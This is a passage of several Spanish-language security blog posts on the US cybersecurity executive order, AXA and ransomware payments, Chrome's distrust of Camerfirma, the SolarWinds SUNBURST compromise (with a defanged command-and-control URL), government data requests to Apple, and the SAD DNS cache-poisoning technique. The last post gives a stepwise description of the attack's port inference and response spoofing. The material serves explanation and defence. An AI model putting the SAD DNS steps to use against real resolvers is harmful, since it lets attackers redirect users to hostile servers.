puede mitigarse. Fundamentalmente, la orden pretende que se comparta más información entre el gobierno y el sector privado y mejorar la habilidad de respuesta. Los puntos acción básicos son: Permite a las compañías privadas (en especial los que alojan servidores) compartir información con el gobierno. Esto agilizará el proceso de investigación cuando ocurran incidentes relacionados con algún acceso a un servidor. Tienen un tiempo máximo para comunicar esos incidentes también. Mejorar y adoptar los estándares de ciberseguridad en el gobierno federal. Se trata de un compromiso (a alto nivel aunque se mencionan tecnologías concretas) para adoptar los mejores estándares (2FA, criptografía, SDLC…) desde las propias infraestructuras del gobierno. Mejorar las cadenas de suministro, como ha demostrado el ataque SolarWinds. El software que se venda al gobierno deberá cumplir requisitos de seguridad mínimos. Se tendrá una especie de certificado que lo acredita, similar al de la energía o emisiones. Una junta o comisión de revisión de ciberseguridad privada y pública. Cuando ocurra un accidente, se gestionará y sacarán conclusiones de manera coordinada. Esta comisión está inspirada en la que ya tiene la aeronáutica, en la que el sector privado y público se reúne después de grandes incidentes aéreos. Se creará un sistema estándar de respuesta a incidentes tanto interno como externo. Las compañías ya no tendrán que esperar a que ocurra algo para saber qué es necesario hacer. Mejorar la capacidad de defensa de la red federal. Quizás la medida más genérica, que apunta a reforzar con las herramientas de ciberseguridad adecuadas, toda la infraestructura gubernamental. Mejorar la capacidad de remediación e investigación. Quizás esto se resume fundamentalmente en mejorar los sistemas de logs. Y ahora, ¿qué? Esta orden ejecutiva se traducirá en que las empresas deberán cumplir unos estándares mínimos, se procedimentará, se auditará… En definitiva, se generará una industria más sana, más vigilada por ella misma. Más robusta y unida, esperamos. Algo parecido a lo que hicieron las compañías de tarjetas de débito y crédito cuando pusieron en marcha la iniciativa PCI-DSS que obligaba a todo el que trabajara con estos datos, pasar una auditoría mínima. Si bien no solucionará el problema por completo, lo mejorará significativamente. Pone el foco en la ciberseguridad al más alto nivel, aúna esfuerzos y como mencionábamos, ataca el problema desde un ángulo político y legal que complementan a la aproximación técnica, insuficiente por sí sola. Sin embargo, todavía se echan de menos leyes más claras contra los atacantes que agilicen la posibilidad de perseguirlos, identificarlos e imponer sanciones a nivel mundial. Ahora se tiene el apoyo político y legal para fomentar la seguridad desde el punto de vista técnico pero lo ciber es también legal, social, político... y se debe estrangular la actividad de los atacantes desde todos esos ángulos. Un problema tan grave, aunque de naturaleza técnica, no puede solucionarse solamente desde ese mismo ángulo. Si solo nos concentramos en parchear y responder, en auditar y certificar, no avanzaremos lo suficiente. En todo caso es esta orden es una gran noticia y un primer paso en esa dirección.

AXA Francia elimina de su cobertura de ciberseguro el pago de rescate por ransomware. Esta decisión se ha tomado en el contexto de una mesa redonda del senado en Francia que abordaba “la devastadora epidemia global de ranswomare”. La decisión de la aseguradora es de gran calado, por cómo puede repercutir en las víctimas, el resto de aseguradoras y el futuro en general del ecosistema del cibercrimen basado en ransomware todavía lejos de encontrarse controlado. Internet está lleno de artículos explicando por qué no debe pagarse el ransomware. Y probablemente aporten datos interesantes, pero si no se diferencia entre el tipo de ransomware y quién es el afectado, las razones expuestas pueden no tener tanto sentido. Por tanto, es necesario explicar bien las circunstancias del afectado para entender por qué no debe pagarse y sobre todo, entender bien la situación para tomar las decisiones adecuadas. Ransomware doméstico y profesional Lo primero es tener claro que existen dos tipos de ransomware: doméstico y profesional. El primero apareció de forma masiva sobre el 2012, como evolución natural del malware del “virus de la policía” y afectaba al usuario medio. Desde 2017, no ha desaparecido pero su incidencia ha bajado considerablemente. Eran ataques a víctimas aleatorias desprevenidas que pedían cantidades elevadas pero abordables por un individuo. Este tipo de ataque “doméstico” tiene una respuesta quizás más directa: no debe pagarse a no ser que haya una buena razón para ello. Pero si hablamos de organizaciones, pymes o grandes empresas hay que tener en cuenta que su negocio, sustento, clientes y futuro depende de recuperar esos datos y por tanto la respuesta se complica. En un ataque de ransomware profesional todo es más complejo, estamos hablando de campañas que han podido suponer meses de trabajo y estudio para el atacante, con el único objetivo de entrar hasta las entrañas de la red (a veces, enorme) y, en el momento exacto, tomar el control y cifrarlo todo. Desde ese momento, cada día se pierden miles y miles de euros por no poder operar, ante la frustrante imposibilidad de llevar adelante el negocio. La situación es mucho más crítica y seria, y por eso los atacantes piden del orden de millones de euros por el rescate, o incluso una parte proporcional de su facturación (que por supuesto conocen) que están seguros sus víctimas pueden permitirse. En ese momento comienza una negociación, porque cuando hay tanto en juego no pagar no es algo que se descarte enseguida. Igual que en la con ciertos secuestros de personas el pago es una opción que siempre se baraja. Situación crítica Desde hace un tiempo, además, la extorsión es doble. Las víctimas no solo se enfrentan a datos perdidos sino al filtrado público de la información si no pagan. La sensación de impotencia es generalizada. Que no se nos olvide la devastadora situación que vivimos. Tanto que AXA ha tomado una decisión en Francia: la cobertura del ciberseguro no devolverá el dinero del rescate a los clientes que paguen por la extorsión. Los ciberseguros como el de AXA, que podían llegar a cubrir el gasto por el pago del rescate, han concluido que esta cláusula normalizaba precisamente la menos traumática de las salidas: pagar y ceder a la extorsión. Y también suponemos que no les salía a cuenta con tanto incidente. Parece que normalizar el pago no solo ha hecho que el negocio del seguro no sea rentable sino que ha alimentado la propia industria del cibercrimen. Recordemos que una de las estrategias contra los atacantes es que si no se les paga, el negocio de la extorsión dejará de serles rentable. Pero ¿qué alternativa tienen las organizaciones que de no pagar, se ven obligadas a cerrar? O ceden a la extorsión y alimentan el proceso que fortalece a los atacantes (y se perpetúa contra otras compañías que serán venideras víctimas) o se resisten al pago y lo pierden todo. Porque no es el momento de culpabilizar a la víctima (bastante tiene ya) porque su backup también haya sido cifrado, no funcionase, o simplemente no dispusiera de ninguno. Soluciones fáciles de plantear, complejas de implementar. El negocio del ransomware no solo debe estrangularse evitando financiar la extorsión, sino también mejorando la seguridad de las empresas y con unas leyes eficaces que persigan a los criminales con penas que desincentiven los ataques. La situación precisa de varias aproximaciones desde muchos ángulos. Asegurar las empresas a su vez requiere emplear las medidas adecuadas para cada compañía. Algunas necesitarán medidas más complejas, otras más sencillas y todas concienciación. Pero obviar el problema o pensar que le es ajeno es la peor estrategia. Desde el punto de vista legal, existen también tantos ángulos como figuras conviven en este ecosistema. El negocio del cibercrimen se ha industrializado tanto desde el punto de vista de los atacantes como del de las víctimas que ya usan a las aseguradoras asiduamente para hacer frente a la crisis. Muchos más afectados de los que pensamos están pagando, hasta el punto de que el proceso de pago en sí, se ha convertido en un negocio. Se usan a intermediarios y otras figuras como aseguradoras para hacer frente a la crisis. Cuando la continuidad de negocio es crítica, las compañías afectadas ponen en marcha varias vías. Por supuesto, el intento de recuperación técnica, la evaluación de daños, etc. Pero también se inician otras vías “diplomáticas”, que pueden incluir un contacto con los atacantes y con otras compañías. Con los atacantes se regatea y se negocia, se establece una línea de diálogo como si de cualquier otro tipo de transacción se tratase. Incluso puede que los extorsionadores ofrezcan unos útiles consejos después de que la víctima haya pasado por caja. Y, como cualquier negociación, se puede delegar. A la luz de este turbio negocio de la extorsión, han surgido los intermediarios que ofrecen servicios de “consultoría” que impliquen abordar esa negociación y el pago del rescate. Puede que a las aseguradoras les compense más pagar a los atacantes que al afectado por los daños sufridos en función de lo que cubra su seguro. En resumen, un complejo entramado donde no todo está tan claro cuando hablamos de cifras y sobre todo muy distante del entorno doméstico donde las directrices suelen ser más claras. Las nuevas leyes en general buscan estrangular a los extorsionadores impidiendo que su negocio sea lucrativo, pero es posible que esta medida no sea suficiente porque muchas veces pesa más la continuidad de los negocios legítimos. ¿Cuál será el futuro papel de las aseguradoras tras la decisión de AXA?

A partir de la inminente versión 90, Chrome mostrará un error de certificado cuando un usuario intente acceder a cualquier web con un certificado firmado por Camerfirma. Aunque quizás no sea la CA más popular, está muy presente en España en muchas organizaciones públicas, por ejemplo, en la Agencia Tributaria. Si no se soluciona esta “explusión” de Chrome, para la campaña de la renta puede haber problemas de acceso a las web oficiales. Otros muchos organismos en España (incluso la web de la campaña de vacunación del COVID, vacunacovid.gob.es) dependen del certificado. Pero, ¿qué ha pasado? ¿Por qué Chrome exactamente deja de confiar en esta CA? Microsoft y Mozilla todavía confían, pero desde luego la decisión de Chrome creará un efecto en cadena que muy probablemente haga que sea imposible confiar en nada emitido por esta CA desde los principales sistemas operativos o navegadores. En otras noticias sobre este asunto, se habla de los fallos cometidos por Camerfirma y su incapacidad para responder y solucionarlos pero, para ser justos, hay que conocer un poco el mundo de los certificados. Lo primero es tener claro que todas las CAs cometen errores: muchos, siempre. Solo hay que darse una vuelta por Bugzilla. El mundo de la criptografía es extremadamente complejo, y el de los certificados… también. Seguir los requerimientos no es siempre sencillo y, por ello, la organización CA/Forum y muchos investigadores se encargan de velar por un perfecto funcionamiento de las autoridades de certificación y cumplimiento estricto y riguroso de esos estándares, así que suelen estar muy acostumbrados a estos fallos, errores y despistes y toleran en cierta forma los problemas siempre que se revoque a tiempo y corrijan. Es una cuestión de mostrar voluntad y eficiencia en la gestión, más que de ser perfecto. Los incidentes ocurren a diario y son variados y complejos, pero normalmente las CA reaccionan solucionándolos e incrementando la vigilancia, cosa que mejora día a día el sistema. Pero a veces, se pierde la confianza en una CA porque se traspasa cierto límite relacionado con sus respuestas y reacciones. En el asunto con Camerfirma parece que la clave es que llevan años cometiendo errores, algunos reiteradamente, y que han demostrado ya demasiadas veces que no se puede confiar en los remedios y prácticas resolutivas de esta autoridad de confianza. Especialmente, parece que no les cuadran sus excusas y explicaciones. La reacción de Chrome demuestra así que la seguridad criptográfica hay que tomársela en serio, y que no aceptará CAs que confiesen que no cuentan con el personal necesario, que desoyen las especificaciones, etc. Estos movimientos son necesarios. Eso sí, con decisiones como esta, Chrome sigue su camino hacia convertirse en una CA de facto. Ya comentamos que las CA tradicionales están perdiendo el control de los certificados. Este podría ser uno de los posibles motivos por los que Chrome tendrá una nueva Root Store. Las 26 razones Vamos a describir las razones muy brevemente y por orden de importancia o relevancia (subjetivo). El texto entrecomillado es literal de lo que hemos encontrado en el tracker Bugzilla, que parece regodearse en la fragilidad de las excusas de Camerfirma. Para ser justos, hay que leerlas en su contexto completo y concreto para entenderlas. Pero aun así, lo que se destila por un lado es cierta incapacidad en Camerfirma para la labor encomendada de ser una CA seria y capaz de responder en tiempo y forma… y por otro un importante hartazgo por parte de los que velan para que esto sea así. Uno: en 2017 el mundo dejó de confiar en WoSign/StartCom como CA por diferentes razones. Camerfirma seguía teniendo relación con StartCom como vía para validar ciertos certificados, y lo hacía bajo el criterio de “otros métodos” que es la forma más extraña (y la última) de conseguirlo y por tanto, que levanta sospechas. La CA/Forum no quería ni que se usaran esos “otros métodos” (que venían de una especificación anticuada) ni que se pudiera delegar la validación de certificados en StartCom. Camerfirma no rectificó y continuó la relación con StartCom sin dejar claro cómo. Dos: no respetaban el estándar CAA. Este registro DNS debe contener qué CAs son las de preferencia para una web. Por ejemplo, no quiero que la CA X emita un certificado para mí jamás… o sólo quiero que la CA Y emita certificados para mi dominio. Camerfirma pensaba que si existía el certificate transparency ya podían eludir el respetar los estándares CAA, porque “iban con prisas y entendieron mal los requerimientos”. Tres: las respuestas OCSP (para revocar rápidamente) no cumplían con los estándares. Cuatro: se descubrió que los campos Subject Alternative Names de muchos de sus certificados estaban mal. Cuando reportaron a Camerfirma, no obtuvieron respuesta, porque estos reportes “iban a una sola persona” que no respondía. Nunca llegó a solucionar “intencionadamente” certificados de este tipo e incluso después de revocar alguno, Camerfirma volvía a emitirlos mal. Cinco: intesa Sanpaolo, una de las sub-CAs de Camerfirma, cometía también varios errores a la hora de revocar a tiempo. Incluso llegó a emitir por “error humano” un certificado para “com.com”. Seis: cometieron ciertas revocaciones por error, confundiendo números de serie en certificados válidos y no válidos. En Camerfirma decidieron hacer una “desrevocación”, cosa que es intolerable en el mundo de los certificados, pero lo implementaron de manera inconsistente. En medio de todo el problema, alegaron que usarían el software de gestión EJBCA para mitigar esto en el futuro, pero luego no… luego confirmaron que desarrollarían software propio con similares características. Como no se supo mucho más después sobre esto, alegaron que estaban en “reuniones diarias para discutir estos asuntos”. Siete: Camerfirma violaba una regla relacionada con la inclusión del nombre del emisor y el número de serie en el campo key ID (no se debe). Todos los certificados de Camerfirma lo hacían mal desde 2003. Alegaron que lo habían entendido mal y lo arreglaron a finales de 2019. Pero no revocaron los anteriores emitidos. En 2020 volvieron a emitir certificados que violaban esta política, que tampoco revocaron. Ocho, nueve y diez: se supone que no deben emitir certificados con guiones bajos en sus nombres. Según un “error humano” en su emisión y detección, no eran capaces de detectarlos a tiempo y algunos se le pasaron. También les ocurrió con un nombre de dominio con el carácter “:”. Y con un dominio que existía pero que deletrearon mal en el certificado. Once: Camerfirma (y otras) emitieron sub-CAs que podían dar respuestas OCSP para la propia Camerfirma, porque no habían incluido una restricción adecuada en las EKU del certificado (las EKUs son campos para limitar el poder y uso del certificado). Argumentaron que no tenían conciencia de este fallo de seguridad y no los revocaron a tiempo. La razón para no revocar es que una de las sub-CAs se empleaba en el sector de las smartcards de salud y si los anulaban habría que reemplazar esas tarjetas inteligentes. Tan importante era el problema que debían elevar el problema a órganos superiores de nivel nacional. El dos de octubre de 2020 parece que se destruyeron las claves en estas tarjetas, pero esa destrucción no fue supervisada ni atestiguado por un auditor cualificado ni por la propia Camerfirma. Doce: emitieron una subCA para uso en S/MIME para el gobierno de Andorra, que no auditaron. Cuando lo hicieron, se comprobó que cometían bastantes errores. Al final tuvieron que revocarlo, y alegaron que como eran certificados TLS, pensaban que no entraban en el alcance de las auditorías. De nuevo, el problema parecía ser que no disponían del personal suficiente y necesario. De trece a veintiséis: hacemos trampa aquí para aglutinar el resto de razones que resultan muy parecidas. Por ejemplo, decenas de fallos técnicos en otros campos de certificados que no eran capaces de revocar a tiempo. Y para ello las excusas eran variadas. Desde que la legislación local les obligaba a ciertas fórmulas que no cumplían los estándares (cosas que no demostraban)… hasta que su sistema había funcionado bien 17 años, pero que luego al crecer mucho, fallaron algunos controles internos. A veces no había ni excusas. Simplemente no contestaban a los requerimientos. En uno de los incidentes, se supone que debían dar a conocer la existencia de una sub-CA máximo una semana después de su creación pero no lo hacían. Lo que ocurría según ellos es que “la persona encargada no estaba disponible”. Tampoco el respaldo de esa persona. Camerfirma lo intentó solucionar diciendo que pondría “un respaldo para la persona de respaldo encargada de esta comunicación”. Para resolver otros problemas, Alegaban que su personal estaba completamente “desbordado”, o “de vacaciones”. Básicamente, de todos los fallos comunes en muchos certificados (insuficiente entropía, extensiones incorrectas…), Camerfirma siempre fallaba al revocar en tiempo y forma en los certificados. Conclusiones No es fácil ser una CA. Camerfirma no es la primera ni la última revocada. Hasta Symantec sufrió un revés en este aspecto. También lo pasó muy mal la FMNT para que Firefox incluyera su certificado en su repositorio y necesitó un periplo de varios años. En algunos de los puntos de esa historia increíble con la FMNT se perciben también tiempos muertos, en los que se intuye carecer del personal adecuado para satisfacer las demandas de Mozilla. Y es que el mundo de los certificados es exigente. Pero es que así debe ser. Del buen hacer de las CA depende, literalmente, el internet que se ha construido. Tolerar el funcionamiento de una CA que se salga un milímetro de una continua vigilancia, control y exigencia o no responda en tiempo y forma, es como permitir la condescendencia ante un policía o un juez que comete cualquier atisbo de corrupción. No debe ser tolerado por nuestro propio bien y por las importantes consecuencias que conllevaría. Si tienes alguna duda sobre cómo podría afectar este cambio a tu negocio contacta con nosotros. MÁS INFORMACIÓN Más información sobre certificados digitales en este post:

A estas alturas, todos los profesionales de la ciberseguridad saben al menos una parte de lo que, en principio, se creía "solo" un ataque a SolarWinds, pero que ha desembocado en una de las operaciones más interesantes de los últimos años. Nos detendremos en los detalles más curiosos del incidente pero también vamos a poner en foco en la gestión de esta crisis. Qué se ha hecho bien y qué mal para calibrar la madurez de una industria que sufrirá más y peores golpes que este en el futuro. FireEye levanta la voz de alarma el martes 8 de diciembre. Han sido atacados. Pero la industria no culpa a FireEye por ello, sino que los respalda y apoya en general, su respuesta es ejemplar. A muchos les ha pasado y a todos nos puede pasar, así que lo importante es cómo se responda y ser resiliente. Puesto que los atacantes tienen acceso a herramientas delicadas internas de su compañía, FireEye hace algo que les honra por la industria: publican las reglas Yara necesarias para detectar si alguien está usando esas herramientas robadas del equipo ofensivo de FireEye contra una compañía. Un buen gesto que de nuevo es reconocido públicamente. No se sabe mucho más del incidente y se sigue investigando. Pero luego todo se complica, y de qué manera. Comienzan las noticias: el departamento del Tesoro de EEUU y otros muchos departamentos gubernamentales también reconocen un ataque. El mismo día 13, FireEye ofrece un detalle muy importante: el problema radica en la troyanización del software Orion de SolarWinds. Un paquete de actualización, firmado por la propia SolarWinds, contenía una puerta trasera. Se calcula que unas 18.000 compañías utilizan este sistema. Se destapa la caja de Pandora por las características propias del ataque y porque es un software usado en muchas grandes empresas y gobiernos. Y puesto que a problemas globales hacen falta reacciones globales y coordinadas, aquí es donde parece que algo no funcionó. ¿Falló la coordinación? El día siguiente, 14 de diciembre, con la información necesaria para apuntar a la “zona cero” del ataque, todavía los métodos reactivos no funcionaron. En concreto: El paquete troyanizado seguía disponible en el repositorio de SolarWinds aun cuando el día 14 ya hacía al menos una semana (aunque muy probablemente más) que se conocía que ese paquete estaba troyanizado y tenía que ser retirado. Los motores antivirus seguían sin detectar el malware (que se ha dado a conocer como SUNBURST). El mismo lunes no se encontraba en las firmas estáticas de los motores populares. El certificado con el que los atacantes firmaron el software, seguía sin estar revocado. Independientemente de que consiguieran acceso a la clave privada o no (no se sabe), ese certificado debía ser revocado por si el atacante era capaz de firmar otro software en nombre de SolarWinds. Aquí solo podemos elucubrar por qué falló este elemento “reactivo” en cadena. ¿Llegó tarde SolarWinds al ataque? ¿Publicó FireEye los detalles para ejercer presión sobre SolarWindws cuando ya se comenzaba a vislumbrar que el ataque escondía una ofensiva mucho más compleja? Desde luego, la bolsa ha “castigado” de forma diferente a ambas compañías, si es que se puede usar como un método rápido de valoración del mercado de las reacciones ante un compromiso grave. FireEye ha resultado ser el héroe. SolarWinds, el malo de la película. Sin embargo, ha habido reacciones que sí han funcionado, como Microsoft secuestrando el dominio bajo el que se fundamenta todo el ataque (avsavmcloud.com). Que por cierto, fue enviado desde España a urlscan.io de forma manual el 8 de julio. Alguien quizás se percató de algo extraño. La campaña llevaba activa desde marzo. Fuente: https://twitter.com/sshell_/status/1339745377759576065 El malware en sí y la comunidad Lo “bueno” de SUNBURST es que está creado en lenguaje .NET, con lo que resulta relativamente sencillo decompilar y conocer qué ha programado el atacante. Y así, la comunidad comenzó a analizar el software de arriba a abajo y programar herramientas para entenderlo mejor. El malware es extremadamente discreto. No se ponía en marcha hasta más o menos dos semanas después de encontrarse en la víctima. Modificaba tareas programadas del sistema para lanzarse y luego las devolvía a su estado original. Pero una de las características más interesantes del malware es la capacidad para ocultar los dominios que utiliza y que requerían fuerza bruta para desvelarlos (eran hashes). Además, contenía el hash de otros dominios a los que no quería infectar. ¿Cuáles? Costin Riau de Kasperksy los expone: Todos, muy probablemente, internos de la red de SolarWinds, para pasar desapercibidos en su red interna. Un indicio de que la víctima inicial era SolarWinds y que para conseguirlo, los atacantes tenían que conocer bien a su víctima. Se publicó un código para sacar toda lista de herramientas (cuyos nombres estaban también hasheados) para saber qué es lo que no quería ver el troyano en la máquina. Se consiguió desvelar muchas de las herramientas y dominios hasheados en tiempo récord y reconocer qué tenían en mente estos atacantes. Se ha publicado otra una herramienta para descifrar los DGA (Domain Generator Algorithm) donde intentaba contactar el malware. Uno de los puntos fuertes del algoritmo era el DGA precisamente, pero también su punto débil (el dominio de primer nivel era siempre el mismo). Fuente: https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/ Al final, el malware acababa componiendo URLs como esta: hxxps://3mu76044hgf7shjf[.]appsync-api[.]eu-west-1[.]avsvmcloud[.]com /swip/upd/Orion[.]Wireless[.]xml Donde "exfiltraba" la información y se comunicaba con el Command and Control. Bien pensado desde el punto de vista del atacante porque pasa desapercibido a la vista por su “normalidad”, pero mal pensado desde el punto la perspectiva de la persistencia. Otro punto muy interesante que parece que ha pasado desapercibido, es que los atacantes parecieron “inflar” durante 2019 el módulo troyanizado de 500 a 900k, sin inyectar código relevante pero aumentando el tamaño de la DLL. En febrero 2020 introdujeron en esa misma DLL la carga que realizaba el espionaje, con lo que consiguieron un extra de invisibilidad sin levantar sospechas por el aumento de tamaño. No se vayan todavía, aún hay más Más recientemente, parece que Orion de SolarWinds no solo estaba troyanizado con SUNBURST sino también con lo que se ha dado en llamar SUPERNOVA. Quizás otro actor también tuvo la posibilidad de entrar en la red y desplegó un troyano diferente en la herramienta. Aunque todavía no se tienen muchos detalles de su funcionamiento, esta es la segunda pesadilla que todavía puede dar que hablar. Conclusiones Nos encontramos ante uno de los ataques más sofisticados de los últimos tiempos que no solo ha puesto en jaque a una compañía que se dedica a defender a otras compañías, sino a gobiernos, grandes como Microsoft y otros que ni podemos imaginar. Han dado un paso más allá con una campaña casi perfecta por su impacto y ejecución. En otras ocasiones (la RSA, Bit9, Operación Aurora…), grandes compañías han sido atacadas y también a veces solo como efecto secundario para conseguir llegar hasta a un tercero, pero en esta ocasión se ha dado un paso más allá en la discreción, precisión y “buen hacer” de los atacantes. Y todos gracias a un solo fallo, cómo no: al punto más débil que han sabido detectar en la cadena de suministro de la que dependen grandes actores. Y sí, SolarWinds parecía un eslabón muy débil. En su web recomendaban desactivar el antivirus (aunque esto lamentablemente es habitual para cierto tipo de herramientas) y han demostrado utilizar contraseñas débiles en su operativa, además de que existen indicios de que llevaban más de un año comprometidos… por dos veces. ¿Nos debemos sorprender ante eslabones tan débiles en la cadena de ciberseguridad de la que depende tanto? Dependemos de un panorama ciertamente irregular en cuestión de habilidades en ciberseguridad. Asimétrico en capacidades de respuesta, defensa y prevención, tanto de las víctimas como de atacantes… pero muy democrático en la importancia de cada pieza en la industria. No queda más remedio que responder coordinados y en conjunto para mitigar el riesgo. No es difícil encontrar similitudes fuera del ámbito de la ciberseguridad. En cualquier caso, y afortunadamente, de nuevo, la industria se ha mostrado madura y con capacidad de respuesta conjunta, no solo de la comunidad, sino de los grandes actores. Quizás es el mensaje positivo que podemos llevarnos de una historia que todavía parece no haber acabado del todo.

Hace poco hemos sabido que España envió 1.353 solicitudes gubernamentales para acceder a datos de usuarios de Facebook en la primera mitad de 2020. Gracias al informe de transparencia para el primer semestre de 2020 de Facebook, descubrimos que las solicitudes gubernamentales de datos de usuarios han pasado de 140.875 a 173.592 en todo el mundo. Por otro lado, hace algunas semanas, Apple publicó su informe de la segunda mitad de 2019, en el que también se puede conocer qué pidió tanto en España como en el resto de países. En ocasiones, los gobiernos necesitan apoyarse en las grandes corporaciones para poder llevar a cabo su trabajo. Cuando una amenaza pasa por conocer la identidad o tener acceso a los datos de un potencial atacante o de una víctima en peligro, la información digital que almacenan estas empresas puede resultar vital para la investigación y evitar una catástrofe. Hemos elaborado unas gráficas para intentar identificar a través de esta publicación (que solo contiene tablas numéricas), qué les preocupa en mayor medida a los gobiernos. Peticiones basadas en dispositivos Esta tabla representa las peticiones de dispositivo. Por ejemplo, cuando las fuerzas del orden actúan en nombre de clientes a los que han robado el dispositivo o lo han perdido. También recibe peticiones relacionadas con investigaciones de fraude, se solicitan normalmente detalles de los clientes de Apple asociados a dispositivos o conexiones a servicios de Apple. Desde un IMEI hasta un número de serie. En amarillo las solicitadas y en verde las concedidas. España solicitó información sobre más de 2600 dispositivos de las que concedieron algo más de 2100. Todo en 1491 solicitudes. En Alemania abunda el problema del robo para justificar estas peticiones. En EEUU, fraudes relacionados con reparaciones. Peticiones basadas en datos financieros Por ejemplo, cuando las fuerzas del orden actúan en nombre de clientes que requieren asistencia relacionada con actividad fraudulenta de tarjetas de crédito o tarjetas regalo que se han usado para comprar productos de Apple. Japón a la cabeza seguido de Alemania y Estados Unidos. Normalmente, es EEUU el país que más solicita, aunque esta segunda mitad de año ha quedado en el tercer puesto. Japón se ha disparado. En España están casi todas relacionadas con fraudes de tarjetas iTunes o fraudes de tarjetas de crédito. Peticiones basadas en cuentas Se realizan peticiones a Apple relacionadas con cuentas que pueden haber sido usadas en contra de la ley y términos de uso de Apple. Se trata de cuentas de iCloud o iTunes y su nombre, dirección e incluso contenido en la nube (backup, fotos, contactos…). Esta es quizás la medida más intrusiva, en la que se Apple proporciona contenido real privado. Habitualmente China y Estados Unidos son los que más datos solicitan, pero en esta ocasión se cuela Brasil. Apple tiene la potestad de negarse si considera algún fallo en forma o fondo. Hay que tener en cuenta que Apple, además de ofrecer los datos, puede ofrecer “metadatos” no relacionados directamente con los datos, y esto no cuenta como petición “satisfecha” aunque también incluye ofrecer información. España solicitó 73, de las que le concedieron 51. Peticiones por emergencias Amparados bajo la U.S. Electronic Communications Privacy Act (ECPA), es posible solicitar a Apple que proporcione datos privados de cuentas si en situaciones de emergencia, cree que esto puede evitar un peligro de muerte o daño serio a individuos. Curiosamente, aquí gana el Reino Unido con más de 400 cuentas, seguido por Estados Unidos. El resto de países realizan apenas decenas de peticiones, casi siempre satisfechas. España, ninguna. ¿Se preocupa más el Reino Unido por las emergencias y se limita a solicitar datos cuando se da ese caso? Peticiones relacionadas con la retirada de apps del market Habitualmente tiene que ver con apps que se supone violan la ley. Sigue China como el país que más apps solicita retirar. Casi todas relacionadas con la pornografía, contenido ilegal y operar sin licencia gubernamental. Las 18 solicitadas en Austria y las 2 de Rusia estaban relacionadas con el juego ilegal. De las 33 solicitadas por Vietnam, no se retiró ninguna, relacionadas con el juego. Para saber más, primera parte de este artículo disponible aquí: CYBER SECURITY Dime qué datos solicitas a Apple y te diré qué tipo de gobierno eres 8 de julio de 2019

En 2008, Kaminsky sacudió los cimientos de internet. Un fallo de diseño en DNS permitía falsear respuestas y enviar a una víctima a donde el atacante quisiera. 12 años después, se ha encontrado una fórmula similar muy interesante para poder envenenar la caché de los servidores DNS. Peor, si cabe, que la de Kaminsky. Fundamentalmente porque no necesita estar en la misma red de la víctima y porque ha sido anunciada cuando todavía muchos servidores, sistemas operativos y programas no están parcheados. Veamos cómo funciona de forma comprensible. Para poder falsear una petición DNS y devolverle al cliente una mentira, el atacante debe saber el TxID (transaction ID) y el puerto origen UDP. Esto supone una entropía de 32 bits (adivinar dos campos de 16 bits). SAD DNS consiste (básicamente, porque el paper es muy complejo) en inferir el puerto UDP a través de un ingenioso método que se vale de los mensajes de vuelta de error ICMP. Si se deduce el puerto, esto deja de nuevo una entropía de solo el TxID de 16 bits, asumible para un ataque. Una vez se tengan estos dos datos, se construye el paquete y se bombardea al servidor de nombres. ¿Cómo inferir el puerto UDP abierto? Los preliminares necesarios son que por el funcionamiento de UDP, el servidor abre unos puertos UDP de respuesta por los que se comunica con otros servidores de nombres. Conocer esos puertos efímeros que abre en sus comunicaciones es vital porque junto con el TxID suponen todo lo que necesita un atacante para falsear la respuesta. O sea, si un servidor (resolver o forwarder) hace una pregunta a otro servidor, espera un TxID y UDP concretos en su respuesta. Y sea quien sea quien le devuelva un paquete con esos datos, lo tomará como una verdad absoluta. Se le podrá engañar con una resolución de dominio-IP falsa. Solo hace falta que el atacante conozca en este caso el puerto UDP abierto, deduzca el TxID por fuerza bruta y bombardee a su vítima. Cuando contactas con un puerto UDP y le preguntas si está abierto o no, los servidores devuelven un mensaje de “puerto cerrado” en ICMP. Para no saturar con respuestas, tienen un límite global de 1000 por segundo. Un límite global significa que da igual si le preguntan 100 o 10 servidores a la vez, para todos tiene 1000 respuestas en un segundo ante preguntas de puerto abierto, por ejemplo. Esto, que se hizo para no saturar el sistema, es lo que en realidad causa todo este problema. El límite global es 1000 en Linux, 200 en Windows y FreeBSD y 250 en MacOS. Y en realidad, todo el paper se basa en “denunciar” esta fórmula de límite global fijo. Debe ser revisado porque ya se ha alertado con anterioridad de los peligros de esto, pero nunca con un ataque y aplicación tan prácticas. También importante porque no solo el DNS, sino que QUIC y HTTP/3, basados en UDP, pueden ser vulnerables. El ataque es complejo y en cada paso existen detalles que mitigar, pero fundamentalmente los pasos básicos son (con potenciales inexactitudes en aras de la simplicidad): Enviar 1000 sondas UDP al resolvedor víctima con IPs de origen falseadas probando 1000 puertos. En realidad son lotes de 50 cada 20 ms para superar otro límite de respuestas por IP que tiene el sistema operativo Linux. Si los 1000 puertos están cerrados, la víctima devolverá (a las IPs falseadas) 1000 paquetes ICMP de error indicando que no está abierto el puerto. Si está abierto, no pasa nada, lo descarta la aplicación correspondiente en ese puerto. No importa que el atacante no vea los ICMP respuesta (llegan a las IPs falseada). Lo que importa es ver cuánto del límite global de 1000 respuestas por segundo “se gasta” en esa tanda. Antes de dejar pasar ese segundo, el atacante consulta un puerto UDP cualquiera que sepa cerrado y si el servidor le devuelve un ICMP de “puerto cerrado”… es que no se había gastado los 1000 ICPM de “error puerto cerrado” y por tanto… ¡en ese rango de 1000 había al menos un puerto abierto! Bingo. Como el límite de respuestas ICMP es global, una sola respuesta de puerto cerrado significa que no se gastó el límite de 1000 repuestas de “puerto cerrado” por segundo. Alguno había abierto. Esta consulta la hace desde su IP real, no falseada, para recibir de verdad (o no) la respuesta. Así, en tandas de 1000 consultas por segundo y comprobando si gasta o no el límite de paquetes de error puerto cerrado, el atacante puede ir deduciendo qué puertos están abiertos. En poco tiempo tendrá mapeados los puertos abiertos del servidor. Obviamente el atacante lo combina con búsquedas "inteligentes" binarias para optimizar, dividiendo los rangos de puertos "potencialmente abiertos" en cada tanda para ir más rápido y dar así con el dato concreto. Los investigadores también tuvieron que eliminar el “ruido” de otros puertos abiertos o escaneos que se estén haciendo al sistema mientras lo realiza el atacante, y en el paper aclaran algunas fórmulas para conseguirlo. Más fallos y problemas Todo viene de una tormenta perfecta de errores en implementación UDP, en la implementación del límite de 1000 respuestas... La explicación de arriba es “simplista” porque los investigadores detectaron otros problemas de implementación que a veces incluso les beneficiaban y otras consistían en ligeras variaciones del ataque. Porque el fallo no está solo en la implementación del límite global ICMP. Tampoco se 